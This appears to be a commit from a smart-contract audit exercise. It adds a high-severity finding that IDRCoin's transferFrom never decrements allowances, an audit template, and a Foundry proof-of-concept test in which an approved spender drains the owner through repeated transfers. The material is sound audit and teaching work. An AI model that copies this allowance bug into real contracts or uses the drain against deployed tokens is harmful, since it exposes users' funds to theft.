add finding H-1 related to multiple transferFrom
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# [H-1] IDRCoin approve function can be used to call transferFrom multiple times
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## Finding description and impact
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IDRCoin enables a user to let someone to use a certain amount of their token through `approve` function. It will set the `allowances[msg.sender][_spender] = _amount;` which `_spender` is the other user, and `_amount` is the limit amount of token the other user can use.
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Once `approve` is called, the other user can use the amount of token through `transferFrom` function. Other user can call `transferFrom` to send the `approved` amount of token from the prior user to anyone. But the problem is, once `approve` is called, the other user can call `transferFrom` multiple times and draining the prior user wallet.
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## Proof of Concept
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The code [https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158](https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158)
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`transferFrom` function doesn't update the `allowances`. Once `approve` function is called, the trusted spender can drain money through calling `transferFrom` multiple times.
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```solidity
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function test_failIf_transferFromIDRCoinMoreThanOnce() public {
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// create charlie address as the receiver
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address charlie = makeAddr("charlie");
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// alice convert 100 dollar worth of usdt
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convertUSDTtoIDR(alice, 100e6);
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vm.startPrank(alice);
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uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4;
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// alice approve bob to transfer her IDRCoin
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idrCoin.approve(bob, spendingAllowance);
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vm.stopPrank();
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// bob transfer the IDRCoin from alice to charlie
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vm.startPrank(bob);
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idrCoin.transferFrom(alice, charlie, spendingAllowance);
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vm.stopPrank();
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// assert that now alice has his balance reduced to the amount of spendingAllowance
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assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3);
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// assert that bob still has 0 because bob called `transferFrom` but doesn't send to himself
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assertEq(idrCoin.balanceOf(bob), 0);
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// assert that charlie as the receiver received the amount of spendingAllowance
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assertEq(idrCoin.balanceOf(charlie), spendingAllowance);
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// bob try to transfer the IDRCoin again from alice to charlie
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vm.startPrank(bob);
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idrCoin.transferFrom(alice, charlie, spendingAllowance);
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vm.stopPrank();
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// assert now alice has its balance reduced twice by spendingAllowance
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assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2);
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assertEq(idrCoin.balanceOf(bob), 0);
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// assert now charlie has its balance increased twice by spendingAllowance
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assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2);
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}
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```
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## Recommended mitigation steps
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Mutate the `allowance` storage variable after the ERC20 transfer succeded in `transferFrom`
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19
audit/template.md
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19
audit/template.md
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# [Severity] Tittle
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## Finding description and impact
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Write a detailed description of the root cause and impact(s) of this finding.
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## Proof of Concept
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Explain and rationalize the potential impact. Provide:
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- direct links to all referenced code in GitHub
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- screenshots, logs, or any other relevant proof that illustrates the concept
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- any additional research or code needed to validate the claims made in your submission
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A coded proof of concept is recommended for high severity findings.
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## Recommended mitigation steps
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Describe the best method(s) to mitigate the finding.
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108
test/Base.audit.transfer.t.sol
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108
test/Base.audit.transfer.t.sol
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// SPDX-License-Identifier: MIT
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pragma solidity 0.8.28;
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import "forge-std/Test.sol";
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import {IDRCoin} from "../src/IDRCoin.sol";
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import {BankHub} from "../src/BankHub.sol";
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import {USDTMock} from "./ERC20Mock.sol";
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contract Base is Test {
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IDRCoin public idrCoin;
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BankHub public bankHub;
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USDTMock public usdtMock;
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address admin = makeAddr("admin");
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address taxCollector = makeAddr("taxCollector");
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address bankABC = makeAddr("bankABC");
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address bankIRB = makeAddr("bankIRB");
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address alice = makeAddr("alice");
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address bob = makeAddr("bob");
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function setUp() public {
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vm.startPrank(admin);
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// deploy the contract
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idrCoin = new IDRCoin(admin, taxCollector);
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bankHub = new BankHub(admin);
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usdtMock = new USDTMock();
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// set the bankHub address in idrCoin
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idrCoin.setBankHub(address(bankHub));
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// set usdtMock address in idrCoin
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idrCoin.setUSDT(address(usdtMock));
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// set the idrCoin address in bankHub
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bankHub.setIDRCoin(address(idrCoin));
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// set bank ABC and bank IRB as whiteListed
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bankHub.whiteList(bankABC);
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bankHub.whiteList(bankIRB);
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// mint some USDT to alice and bob
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usdtMock.mint(alice, 1000e6);
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// usdtMock.mint(bob, 1000e6);
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vm.stopPrank();
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}
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// helper function for converting USDT to IDRCoin
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function convertUSDTtoIDR(address user, uint256 amountInUSDT) public {
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vm.startPrank(user);
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if (usdtMock.balanceOf(user) < amountInUSDT) {
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usdtMock.mint(user, amountInUSDT);
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}
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usdtMock.approve(address(idrCoin), amountInUSDT);
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idrCoin.convertUSDtoIDR(amountInUSDT);
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console.log("user balance: ", idrCoin.balanceOf(user));
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// check the balance is reduced by tax
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uint256 conversionRate = idrCoin.CONVERSION_RATE();
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uint256 tax = idrCoin.TAX();
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uint256 denominator = idrCoin.DENOMINATOR();
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uint256 idrCoinDecimals = idrCoin.decimals();
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uint256 usdtDecimals = usdtMock.decimals();
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uint256 idrAmount = ((amountInUSDT * conversionRate) /
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10 ** usdtDecimals) * 10 ** idrCoinDecimals;
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uint256 taxAmount = (idrAmount * tax) / denominator;
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uint256 balance = idrCoin.balanceOf(user);
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assertEq(balance, idrAmount - taxAmount);
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vm.stopPrank();
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}
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function test_failIf_transferFromIDRCoinMoreThanOnce() public {
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// create charlie address
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address charlie = makeAddr("charlie");
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// alice convert 100 dollar worth of usdt
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convertUSDTtoIDR(alice, 100e6);
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vm.startPrank(alice);
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uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4;
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// alice approve bob to transfer her IDRCoin
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idrCoin.approve(bob, spendingAllowance);
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vm.stopPrank();
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// bob transfer the IDRCoin from alice to charlie
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vm.startPrank(bob);
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idrCoin.transferFrom(alice, charlie, spendingAllowance);
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vm.stopPrank();
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// assert
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assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3);
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assertEq(idrCoin.balanceOf(bob), 0);
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assertEq(idrCoin.balanceOf(charlie), spendingAllowance);
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// bob try to transfer the IDRCoin again from alice to bob
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vm.startPrank(bob);
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idrCoin.transferFrom(alice, charlie, spendingAllowance);
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vm.stopPrank();
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// assert
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assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2);
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assertEq(idrCoin.balanceOf(bob), 0);
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assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2);
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}
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}
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